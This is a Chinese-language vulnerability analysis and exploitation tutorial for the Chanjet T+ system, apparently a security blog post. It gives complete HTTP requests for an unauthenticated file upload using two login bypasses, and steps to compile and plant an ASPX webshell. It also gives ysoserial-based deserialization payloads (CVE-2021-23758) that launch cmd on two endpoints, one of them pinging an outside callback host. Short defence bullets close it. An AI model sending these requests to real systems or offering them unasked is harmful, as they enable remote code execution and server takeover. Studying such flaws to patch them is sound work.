畅捷通历史漏洞分析
字数 1094 2025-08-23 18:31:09
畅捷通T+系统历史漏洞分析与利用教学文档
一、文件上传漏洞分析
1. 漏洞位置
/tplus/SM/SetupAccount/Upload.aspx 存在文件上传漏洞
2. 漏洞分析
- 该页面为预编译文件,在bin目录下可找到
.compiled文件 - 反编译
upload.aspx.9475d17f.dll后发现:Page_Load方法实现了文件上传功能- 仅对
Content-Type进行了校验,未对文件后缀做校验 - 默认保存路径为
/SM/SetupAccount/image
3. 登录绕过机制
在Global.asax.cs文件中的Ufida.T.Web.Http.Global类:
Application_PreRequestHandlerExecute方法包含登录验证逻辑- 绕过条件:
flag为true(通过传入参数preload=1)- 或
RequestChecker.IsBaseRquest(empty)为true(URL包含白名单关键字)
4. 利用方法
方法一:使用preload参数
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: xxxxxx:xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: multipart/form-data; boundary=9df1c9e8486b0bf2a2a1bf99e7fbeb02
Content-Length: 180
--9df1c9e8486b0bf2a2a1bf99e7fbeb02
Content-Disposition: form-data; name="File1"; filename=1.aspx
Content-Type: image/jpeg
test
--9df1c9e8486b0bf2a2a1bf99e7fbeb02--
方法二:使用白名单关键字
POST /tplus/SM/SetupAccount/Upload.aspx/;/login HTTP/1.1
Host: xxxxxx:xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: multipart/form-data; boundary=9df1c9e8486b0bf2a2a1bf99e7fbeb02
Content-Length: 179
--9df1c9e8486b0bf2a2a1bf99e7fbeb02
Content-Disposition: form-data; name="File1"; filename=2.txt
Content-Type: image/jpeg
test
--9df1c9e8486b0bf2a2a1bf99e7fbeb02--
5. 预编译文件利用
由于系统使用预编译文件,直接上传.aspx无法解析,需:
- 使用
aspnet_compiler.exe编译ASPX马:C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe -v / -p c:\3 c:\4 -fixednames - 上传生成的
.compiled和.dll文件到bin目录
二、反序列化漏洞分析
1. 漏洞背景
系统使用ajaxpro组件,存在CVE-2021-23758漏洞:
- 标有
[AjaxPro.AjaxMethod]或[AjaxMethod]属性 - 接收
object类型参数的方法可导致RCE
2. 漏洞端点
端点一:
/tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore
- 位于
Ufida.T.CodeBehind._PriorityLevel类 GetStoreWarehouseByStore方法满足漏洞条件
端点二:
/tplus/ajaxpro/Ufida.T.CodeBehind.DR.Member.MemberIntegral.ME_MemberIntegral_IntegralAdjust,App_Code.ashx?method=InitInstance
- 位于
Ufida.T.CodeBehind.DR.Member.MemberIntegral.ME_MemberIntegral_IntegralAdjust类 InitInstance方法满足漏洞条件
3. 利用方法
使用ysoserialNet生成payload:
ysoserial.exe -g objectdataprovider -f JavaScriptSerializer -c "calc" -o raw
利用端点一:
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore/;/login HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Ajaxpro-Method: GetStoreWarehouseByStore
Host: 192.168.37.168:8080
Content-type: application/x-www-form-urlencoded
Content-Length: 604
{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"ObjectInstance":{
"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"StartInfo": {
"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"FileName":"cmd",
"Arguments":"/c ping d4e5b59b8a.ipv6.1433.eu.org"
}
}
}
}
利用端点二:
POST /tplus/ajaxpro/Ufida.T.CodeBehind.DR.Member.MemberIntegral.ME_MemberIntegral_IntegralAdjust,App_Code.ashx?method=InitInstance/;/login HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Ajaxpro-Method: InitInstance
Host: 192.168.37.168:8080
Content-type: application/x-www-form-urlencoded
Content-Length: 585
{
"arges":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"ObjectInstance":{
"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"StartInfo": {
"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"FileName":"cmd",
"Arguments":"/c calc"
}
}
}
}
三、防御建议
-
文件上传漏洞防御:
- 严格校验文件后缀名
- 实现完整的权限验证机制
- 修复登录绕过漏洞
-
反序列化漏洞防御:
- 升级或替换存在漏洞的ajaxpro组件
- 对反序列化操作进行严格限制
- 实现代码签名验证
-
通用防御:
- 及时更新安全补丁
- 实施最小权限原则
- 加强输入验证和输出编码